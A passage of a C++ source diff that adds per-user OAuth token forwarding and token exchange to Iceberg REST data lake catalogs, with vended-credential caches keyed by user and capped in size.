request_body); + sendRequest(*state_snapshot, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2048,8 +2353,10 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl } -bool RestCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr new_snapshot) const +bool RestCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!new_snapshot) throw DB::Exception( DB::ErrorCodes::NOT_IMPLEMENTED, @@ -2065,7 +2372,7 @@ bool RestCatalog::updateMetadata(const String & namespace_name, const String & t { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUpdateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogUpdateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2088,10 +2395,13 @@ bool RestCatalog::updateSchema( Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata) const + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const { fiu_do_on(DB::FailPoints::iceberg_alter_catalog_update_schema_fail, { return false; }); + loadConfigIfNeeded(auth_token); + const auto state_snapshot = state.get(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string(); @@ -2100,7 +2410,7 @@ bool RestCatalog::updateSchema( try { - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2121,8 +2431,10 @@ bool RestCatalog::updateSchema( return true; } -void RestCatalog::dropTable(const String & namespace_name, const String & table_name) const +void RestCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to drop table {}, namespace {} is filtered by `namespaces` database parameter", @@ -2138,7 +2450,7 @@ void RestCatalog::dropTable(const String & namespace_name, const String & table_ { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest(*state_snapshot, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { @@ -2284,14 +2596,25 @@ VendedStorageCredentials RestCatalog::getCredentialsAndEndpoint(Poco::JSON::Obje return {nullptr, "", std::nullopt}; } -std::optional RestCatalog::tryGetCachedCredentials( - const std::string & namespace_name, const std::string & table_name) const +String RestCatalog::getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + /// Empty when forwarding is off: the catalog vends the same service-principal credentials to + /// everyone, so the pre-forwarding `(namespace, table)` key semantics are exactly right and + /// the existing cache tests see an unchanged sequence of events. + if (!token_forwarding.forward_user_token || !auth_token) + return {}; + /// The fingerprint rather than the user name: rotating a token must not reuse the credentials + /// vended for the token it replaced. + return auth_token->fingerprint; +} + +std::optional RestCatalog::tryGetCachedCredentials(const CredentialsCacheKey & key) const { if (vended_credentials_cache_ttl.load(std::memory_order_relaxed) <= std::chrono::seconds::zero()) return std::nullopt; std::lock_guard lock(credentials_cache_mutex); - auto it = credentials_cache.find({namespace_name, table_name}); + auto it = credentials_cache.find(key); if (it == credentials_cache.end()) return std::nullopt; if (std::chrono::system_clock::now() >= it->second.expires_at.value()) @@ -2303,10 +2626,7 @@ std::optional RestCatalog::tryGetCachedCredentials( return it->second; } -void RestCatalog::cacheCredentials( - const std::string & namespace_name, - const std::string & table_name, - const VendedStorageCredentials & parsed) const +void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const { const auto ttl = vended_credentials_cache_ttl.load(std::memory_order_relaxed); if (ttl <= std::chrono::seconds::zero()) @@ -2332,13 +2652,33 @@ void RestCatalog::cacheCredentials( if (credentials_cache.size() >= credentials_cache_cleanup_threshold) std::erase_if(credentials_cache, [&now](const auto & entry) { return now >= entry.second.expires_at.value(); }); - credentials_cache[{namespace_name, table_name}] + + /// The sweep above only removes what has already expired, which is not a bound: with + /// per-principal keys the cache is O(users x tables), so enforce a real capacity by evicting + /// the entries that expire soonest. + while (credentials_cache.size() >= credentials_cache_max_entries) + { + auto oldest = std::min_element( + credentials_cache.begin(), + credentials_cache.end(), + [](const auto & lhs, const auto & rhs) { return lhs.second.expires_at.value() < rhs.second.expires_at.value(); }); + if (oldest == credentials_cache.end()) + break; + credentials_cache.erase(oldest); + } + + credentials_cache[key] = VendedStorageCredentials{parsed.credentials, parsed.endpoint, refresh_after, parsed.table_uuid}; } -ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - return [this, storage_id] () -> std::shared_ptr + /// `auth_token` is captured by value so that a mid-query credential refresh re-vends as the + /// same user and writes back to the same cache key. The consequence, documented rather than + /// fixed: the raw token then lives inside the object storage's credential refresher for the + /// lifetime of the per-query storage, so it can appear in a core dump. + return [this, storage_id, auth_token] () -> std::shared_ptr { LOG_DEBUG(log, "Update credentials in the catalog"); @@ -2354,7 +2694,7 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetCredentials); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetCredentialsMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, /* params */{}, headers); + auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -2394,7 +2734,7 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal if (metadata_object) parsed.table_uuid = parseTableUuid(metadata_object); /// Refresh the per-table cache so subsequent queries reuse these freshly vended credentials. - cacheCredentials(namespace_name, table_name, parsed); + cacheCredentials({getCredentialsCachePrincipal(auth_token), namespace_name, table_name}, parsed); return parsed.credentials; }; } diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index 0c54e43280c0..d55616a64ccd 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -2,8 +2,11 @@ #include "config.h" #if USE_AVRO +#include #include #include +#include +#include #include #include #include @@ -47,6 +50,68 @@ struct VendedStorageCredentials std::string table_uuid = {}; }; +/// Per-database configuration of forwarding the querying user's own token to the catalog. +/// A struct rather than six more positional constructor parameters. +/// +/// There is deliberately no mode enum: the presence of `token_exchange_uri` *is* the mode. +/// Empty means passthrough -- the user's bearer token is presented to the catalog unchanged, +/// which is what Lakekeeper, Nessie and Polaris-with-an-external-IdP accept. Non-empty switches +/// to an RFC 8693 token exchange against that URL, which may be the IdP's token endpoint (the +/// flow Lakekeeper documents) or a catalog's `/v1/oauth/tokens` (deprecated for removal in the +/// Iceberg REST spec, hence reachable only by writing its URL out in full). +struct TokenForwardingConfig +{ + bool forward_user_token = false; + String token_exchange_uri; + String subject_token_type; + String requested_token_type; + bool forward_actor_token = false; + UInt64 user_token_cache_ttl = 0; + + bool exchangeEnabled() const { return forward_user_token && !token_exchange_uri.empty(); } +}; + +/// One OAuth token-endpoint request. `ClientCredentials` reproduces the pre-existing service +/// principal grant byte for byte; `TokenExchange` is RFC 8693. +struct TokenRequest +{ + enum class Grant + { + ClientCredentials, + TokenExchange, + }; + + Grant grant = Grant::ClientCredentials; + Poco::URI url; + /// Send parameters in the query string rather than in the form body. Only ever set for + /// `ClientCredentials`, to preserve the transport of `oauth_server_use_request_body = 0`; + /// an exchange must never put the user's JWT in a request line. + bool use_query_parameters = false; + String scope; + String client_id; + String client_secret; + /// `TokenExchange` only. + String subject_token; + String subject_token_type; + String requested_token_type; + String actor_token; + String actor_token_type; +}; + +/// Key of the vended-credentials cache. `principal` comes first so that one user's entries are +/// contiguous, and is the empty string on the non-forwarding path -- which reproduces the +/// pre-forwarding `(namespace, table)` key semantics exactly. Without `principal` in the key a +/// warm cache would hand Bob the STS credentials the catalog vended for Alice, without the +/// catalog ever being consulted. +struct CredentialsCacheKey +{ + std::string principal; + std::string namespace_name; + std::string table_name; + + auto operator<=>(const CredentialsCacheKey &) const = default; +}; + class RestCatalog : public ICatalog, public DB::WithContext { public: @@ -59,15 +124,16 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & oauth_server_uri_, bool oauth_server_use_request_body_, const std::string & namespaces_, - DB::ContextPtr context_); + DB::ContextPtr context_, + const TokenForwardingConfig & token_forwarding_ = {}); ~RestCatalog() override = default; - bool empty() const override; + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & namespace_name, const std::string & table_name) const override; + bool existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, @@ -88,9 +154,9 @@ class RestCatalog : public ICatalog, public DB::WithContext return DB::DatabaseDataLakeCatalogType::ICEBERG_REST; } - void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const override; + void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const override; + bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const override; bool updateSchema( const String & namespace_name, @@ -99,13 +165,22 @@ class RestCatalog : public ICatalog, public DB::WithContext Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const override; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const override; bool isTransactional() const override { return true; } - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; + + bool supportsUserTokenForwarding() const override { return true; } + + /// `loadConfig` runs from the constructor, which has no user. Under passthrough there may be + /// no service credential either, so the catalog is built lazily on the first *user* query and + /// that user's token initializes it. See `DatabaseDataLake::getCatalog`. + void loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const; void setVendedCredentialsCacheTTL(std::chrono::seconds ttl) override { vended_credentials_cache_ttl.store(ttl, std::memory_order_relaxed); } @@ -132,9 +207,35 @@ class RestCatalog : public ICatalog, public DB::WithContext std::string tenant_id; std::string bearer_token; Config config; + /// `/v1/config` is fetched from the constructor for every catalog flavour except a + /// forwarding one, which has no user (and possibly no service credential) there and + /// fetches it on the first user query instead -- see `loadConfigIfNeeded`. + bool config_loaded = false; }; using CatalogStateVersion = MultiVersion::Version; + /// Everything a `getAuthHeaders` implementation may need about the request being authenticated. + struct AuthContext + { + /// The snapshot the caller derived the endpoint from, so that one request never mixes + /// the endpoint of one state version with the auth of another. + const CatalogState & catalog_state; + /// Force a fresh token instead of reusing the cached one. Under forwarding this re-runs + /// the *user's* exchange, never a `client_credentials` grant -- see + /// `RestCatalog::getAuthHeaders`. + bool update_token = false; + String method; + Poco::URI url; + DB::HTTPHeaderEntries extra_headers; + String body; + /// The token of the user on whose behalf this request is made, if any. + DB::ForwardedAuthTokenPtr auth_token; + /// Set to whether an already-cached OAuth token was reused, when not null. Only the caller + /// knows whether the request it authenticates went on to succeed, so it, not + /// `getAuthHeaders`, accounts for `DataLakeRestCatalogAuthTokenCachedValid`. + bool * used_cached_oauth_token = nullptr; + }; + CatalogStateVersion getStateSnapshot() const { return state.get(); } ICatalog::PreparedSettingsChangesPtr prepareSettingsChanges(const DB::SettingsChanges & changes) override; @@ -161,30 +262,54 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & namespaces_, DB::ContextPtr context_); - void createNamespaceIfNotExists(const String & namespace_name, const String & location) const override; + void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const override; const std::filesystem::path base_url; const LoggerPtr log; - MultiVersion state{std::make_unique()}; + /// Mutable because a forwarding catalog publishes the lazily loaded `/v1/config` from the + /// const query path. + mutable MultiVersion state{std::make_unique()}; + /// Serializes the lazy config load, so that the queries a single `SHOW TABLES` fans across + /// the catalog thread pool issue one `GET /v1/config` between them. + mutable std::mutex config_mutex; /// Parameters for OAuth (common for REST catalog). bool update_token_if_expired = false; std::string auth_scope; std::string oauth_server_uri; bool oauth_server_use_request_body; + /// Strictly the service-principal / actor token. A per-user token must NEVER be stored here: + /// this is one `MultiVersion` shared by every user of the database, so doing so would sign + /// Bob's request with Alice's session. mutable MultiVersion access_token; + TokenForwardingConfig token_forwarding; + + /// Session tokens obtained by exchanging a user's token, keyed on the token fingerprint (not + /// on the user name: the fingerprint changes on rotation, so a cached session cannot outlive + /// the credential that produced it). Bounded rather than swept, because N concurrent users + /// would otherwise grow it without limit, and `getOrSetWithOutcome` collapses the stampede a + /// single `SHOW TABLES` fanned across the catalog thread pool would otherwise cause. + /// Passthrough caches nothing -- the user's token arrives with every request. + static constexpr size_t user_token_cache_max_entries = 1024; + mutable DB::CacheBase user_token_cache; + /// TTL for caching vended credentials per table (0 means no caching). std::atomic vended_credentials_cache_ttl{std::chrono::seconds::zero()}; /// Sweep trigger threshold, not capacity! static constexpr size_t credentials_cache_cleanup_threshold = 1000; + /// Hard capacity. The sweep above only triggers on expiry, which is not a bound: with + /// per-user keys the cache is O(users x tables), so it needs a real cap. Eviction is by + /// earliest `expires_at`. + static constexpr size_t credentials_cache_max_entries = 10000; + static constexpr std::chrono::seconds credentials_expiry_safety_window{60}; mutable std::mutex credentials_cache_mutex; - mutable std::map, VendedStorageCredentials> credentials_cache + mutable std::map credentials_cache TSA_GUARDED_BY(credentials_cache_mutex); public: @@ -214,6 +339,7 @@ class RestCatalog : public ICatalog, public DB::WithContext DB::ReadWriteBufferFromHTTPPtr createReadBuffer( const CatalogState & catalog_state, const std::string & endpoint, + const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params = {}, const DB::HTTPHeaderEntries & headers = {}, const std::optional & auth_headers = std::nullopt) const; @@ -227,13 +353,16 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & base_namespace, Namespaces & result, StopCondition stop_condition, - ExecuteFunc func) const; + ExecuteFunc func, + const DB::ForwardedAuthTokenPtr & auth_token) const; - Namespaces getNamespaces(const std::string & base_namespace) const; + Namespaces getNamespaces(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token) const; Namespaces parseNamespaces(DB::ReadBuffer & buf, const std::string & base_namespace, String & next_page_token) const; - DB::Names getTables(const std::string & base_namespace, size_t limit = 0) const; + /// Named apart from the `getTables(auth_token)` override so that the two do not collide as + /// overloads once both take a token. + DB::Names getTablesInNamespace(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token, size_t limit = 0) const; DB::Names parseTables(DB::ReadBuffer & buf, const std::string & base_namespace, size_t limit, String & next_page_token) const; @@ -242,21 +371,38 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & table_name, DB::ContextPtr context_, TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token, bool allow_credentials_cache = true) const; + /// `tryGetTableMetadata` for callers that carry the token separately from the context + /// (`existsTable`, which has no query context to take it from). + bool tryGetTableMetadataImpl( + const std::string & namespace_name, + const std::string & table_name, + DB::ContextPtr context_, + TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token) const; + + /// The token carried by a query context, or `{}` when there is none. Single point where the + /// `ContextPtr`-taking methods reduce to the same internal representation as everything else. + static DB::ForwardedAuthTokenPtr getForwardedAuthToken(const DB::ContextPtr & context_); + /// Load catalog config (special http handler) utilizing information from catalog_state and auth_headers. - Config loadConfig(const CatalogState & catalog_state, const std::optional & auth_headers = std::nullopt); - /// `method`, `url`, `extra_headers` and `body` describe the request being authenticated. They are - /// used by catalogs that sign the request itself (AWS SigV4 in `S3TablesCatalog`); catalogs that - /// authenticate with a token or a static header ignore them. - virtual DB::HTTPHeaderEntries getAuthHeaders( + Config loadConfig( const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const; + const DB::ForwardedAuthTokenPtr & auth_token, + const std::optional & auth_headers = std::nullopt) const; + + virtual DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const; + + /// The user's own token, or the session token obtained by exchanging it, depending on whether + /// `oauth_token_exchange_uri` is set. Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` when forwarding + /// is enabled and there is no token: never fall back to the service principal, which would + /// turn an authorization failure into a query that succeeds under the wrong identity. + String getForwardedToken(const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; + + /// Whether a failed catalog request should be retried once with a freshly minted token. + bool shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const; void validateAuthHeaders(const DB::HTTPHeaderEntry & header) const; @@ -266,18 +412,26 @@ class RestCatalog : public ICatalog, public DB::WithContext const CatalogState & catalog_state, const String & endpoint, Poco::JSON::Object::Ptr request_body, + const DB::ForwardedAuthTokenPtr & auth_token, const String & method = Poco::Net::HTTPRequest::HTTP_POST, bool ignore_result = false) const; VendedStorageCredentials getCredentialsAndEndpoint(Poco::JSON::Object::Ptr object, const String & location) const; - std::optional tryGetCachedCredentials( - const std::string & namespace_name, const std::string & table_name) const; + /// `""` when forwarding is off, which preserves the pre-forwarding cache-key semantics. + String getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const; - void cacheCredentials( - const std::string & namespace_name, - const std::string & table_name, - const VendedStorageCredentials & parsed) const; + std::optional tryGetCachedCredentials(const CredentialsCacheKey & key) const; + + void cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const; + + /// Performs one OAuth token-endpoint request. Both grants share this so that the + /// `client_credentials` path stays byte-identical to what it was before token exchange existed. + AccessToken requestToken(const TokenRequest & request) const; + + /// RFC 8693 exchange of the user's token for a catalog session token, against + /// `oauth_token_exchange_uri`. + AccessToken exchangeUserToken(const CatalogState & catalog_state, const DB::ForwardedAuthToken & auth_token) const; AccessToken retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const; @@ -317,14 +471,7 @@ class OneLakeCatalog : public RestCatalog return DB::DatabaseDataLakeCatalogType::ICEBERG_ONELAKE; } - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; /// `bearer_mode` means the catalog authenticates with `onelake_bearer_token`, /// otherwise with the `onelake_client_id` + `onelake_client_secret` pair. @@ -361,14 +508,7 @@ class BigLakeCatalog : public RestCatalog return DB::DatabaseDataLakeCatalogType::ICEBERG_BIGLAKE; } - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; const std::string & getGoogleADCClientId() const { return google_adc_client_id; } const std::string & getGoogleADCClientSecret() const { return google_adc_client_secret; } diff --git a/src/Databases/DataLake/S3TablesCatalog.cpp b/src/Databases/DataLake/S3TablesCatalog.cpp index 961125be9819..a297d56dfc42 100644 --- a/src/Databases/DataLake/S3TablesCatalog.cpp +++ b/src/Databases/DataLake/S3TablesCatalog.cpp @@ -114,7 +114,8 @@ S3TablesCatalog::S3TablesCatalog( /* urlEscapePath = */ false); CatalogState initial_state; - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config_loaded = true; if (initial_state.config.prefix.empty()) { @@ -128,9 +129,9 @@ S3TablesCatalog::S3TablesCatalog( /// S3 Tables only supports a single level of namespaces (no nesting), /// so we use flat getNamespaces() instead of the base class's getNamespacesRecursive(). -DB::Names S3TablesCatalog::getTables() const +DB::Names S3TablesCatalog::getTables(const DB::ForwardedAuthTokenPtr & auth_token) const { - auto namespaces = getNamespaces(""); + auto namespaces = getNamespaces("", auth_token); auto & pool = getContext()->getIcebergCatalogThreadpool(); DB::ThreadPoolCallbackRunnerLocal runner(pool, DB::ThreadName::DATALAKE_REST_CATALOG); @@ -142,7 +143,7 @@ DB::Names S3TablesCatalog::getTables() const runner.enqueueAndKeepTrack( [&, ns] { - auto tables_in_ns = RestCatalog::getTables(ns); + auto tables_in_ns = RestCatalog::getTablesInNamespace(ns, auth_token); std::lock_guard lock(mutex); std::move(tables_in_ns.begin(), tables_in_ns.end(), std::back_inserter(tables)); }); @@ -197,9 +198,10 @@ bool S3TablesCatalog::tryGetTableMetadata( return true; } -ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - auto base_cb = RestCatalog::getCredentialsConfigurationCallback(storage_id); + auto base_cb = RestCatalog::getCredentialsConfigurationCallback(storage_id, auth_token); return [this, base_callback = std::move(base_cb)] () -> std::shared_ptr { if (base_callback) @@ -217,7 +219,7 @@ ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfiguratio }; } -void S3TablesCatalog::dropTable(const String & namespace_name, const String & table_name) const +void S3TablesCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { const auto state_snapshot = state.get(); const std::string endpoint @@ -229,7 +231,7 @@ void S3TablesCatalog::dropTable(const String & namespace_name, const String & ta { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest(*state_snapshot, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { @@ -240,17 +242,12 @@ void S3TablesCatalog::dropTable(const String & namespace_name, const String & ta } } -DB::HTTPHeaderEntries S3TablesCatalog::getAuthHeaders( - const CatalogState & /*catalog_state*/, - bool /*update_token*/, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * /*used_cached_oauth_token*/) const +DB::HTTPHeaderEntries S3TablesCatalog::getAuthHeaders(const AuthContext & auth_context) const { DB::HTTPHeaderEntries all_signed; - signRequestWithAWSV4(method, url, extra_headers, body, *signer, region, "s3tables", all_signed); + signRequestWithAWSV4( + auth_context.method, auth_context.url, auth_context.extra_headers, auth_context.body, + *signer, region, "s3tables", all_signed); DB::HTTPHeaderEntries auth_headers; for (auto & h : all_signed) diff --git a/src/Databases/DataLake/S3TablesCatalog.h b/src/Databases/DataLake/S3TablesCatalog.h index a878bb17d924..920d02e5fdf1 100644 --- a/src/Databases/DataLake/S3TablesCatalog.h +++ b/src/Databases/DataLake/S3TablesCatalog.h @@ -33,7 +33,7 @@ class S3TablesCatalog final : public RestCatalog DB::DatabaseDataLakeCatalogType getCatalogType() const override { return DB::DatabaseDataLakeCatalogType::S3_TABLES; } - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; bool tryGetTableMetadata( const std::string & namespace_name, @@ -41,19 +41,16 @@ class S3TablesCatalog final : public RestCatalog DB::ContextPtr context_, TableMetadata & result) const override; - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; + + /// SigV4, not OAuth: there is no bearer token to forward. + bool supportsUserTokenForwarding() const override { return false; } protected: - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; private: const String region; diff --git a/src/Databases/DataLake/UnityCatalog.cpp b/src/Databases/DataLake/UnityCatalog.cpp index 57f3e02f9d09..b48306e72441 100644 --- a/src/Databases/DataLake/UnityCatalog.cpp +++ b/src/Databases/DataLake/UnityCatalog.cpp @@ -80,7 +80,7 @@ std::pair UnityCatalog::postJSONRequest(const s return makeHTTPRequestAndReadJSON(base_url / route, context, credentials, {}, {auth_header}, Poco::Net::HTTPRequest::HTTP_POST, out_stream_callaback); } -bool UnityCatalog::empty() const +bool UnityCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { auto all_schemas = getSchemas(""); for (const auto & schema : all_schemas) @@ -92,7 +92,7 @@ bool UnityCatalog::empty() const return true; } -DB::Names UnityCatalog::getTables() const +DB::Names UnityCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Names result; @@ -314,7 +314,7 @@ bool UnityCatalog::tryGetTableMetadata( } } -bool UnityCatalog::existsTable(const std::string & schema_name, const std::string & table_name) const +bool UnityCatalog::existsTable(const std::string & schema_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { if (!isNamespaceAllowed(schema_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", schema_name); @@ -499,7 +499,8 @@ bool UnityCatalog::isNamespaceAllowed(const std::string & namespace_) const } /// getCredentialsConfigurationCallback method is supported only for S3 storage -ICatalog::CredentialsRefreshCallback UnityCatalog::getCredentialsConfigurationCallback(const DB::StorageID & table_id) +ICatalog::CredentialsRefreshCallback UnityCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & table_id, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { if (!table_id.hasUUID()) throw DB::Exception( diff --git a/src/Databases/DataLake/UnityCatalog.h b/src/Databases/DataLake/UnityCatalog.h index caa66cf90044..ff44472bad8c 100644 --- a/src/Databases/DataLake/UnityCatalog.h +++ b/src/Databases/DataLake/UnityCatalog.h @@ -27,11 +27,13 @@ class UnityCatalog final : public ICatalog, private DB::WithContext ~UnityCatalog() override = default; - bool empty() const override; + /// Unity catalog authenticates with its own configured credential; the user's token is + /// accepted and ignored so that "this catalog does not forward" is visible at every call site. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & schema_name, const std::string & table_name) const override; + bool existsTable(const std::string & schema_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, @@ -82,7 +84,8 @@ class UnityCatalog final : public ICatalog, private DB::WithContext const std::string & table_name, TableMetadata & result) const; - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & table_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & table_id, const DB::ForwardedAuthTokenPtr & auth_token) override; }; } diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp index 9e5c3a7f86a8..1038cb1d2d88 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp @@ -7,33 +7,20 @@ #include #include #include -#include +#include #include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include +#include #include using namespace DataLake; +using namespace RestCatalogTest; namespace DB { namespace ErrorCodes { - extern const int LOGICAL_ERROR; extern const int BAD_ARGUMENTS; - extern const int NOT_IMPLEMENTED; } } @@ -47,177 +34,66 @@ enum class CatalogShape Empty, }; -void 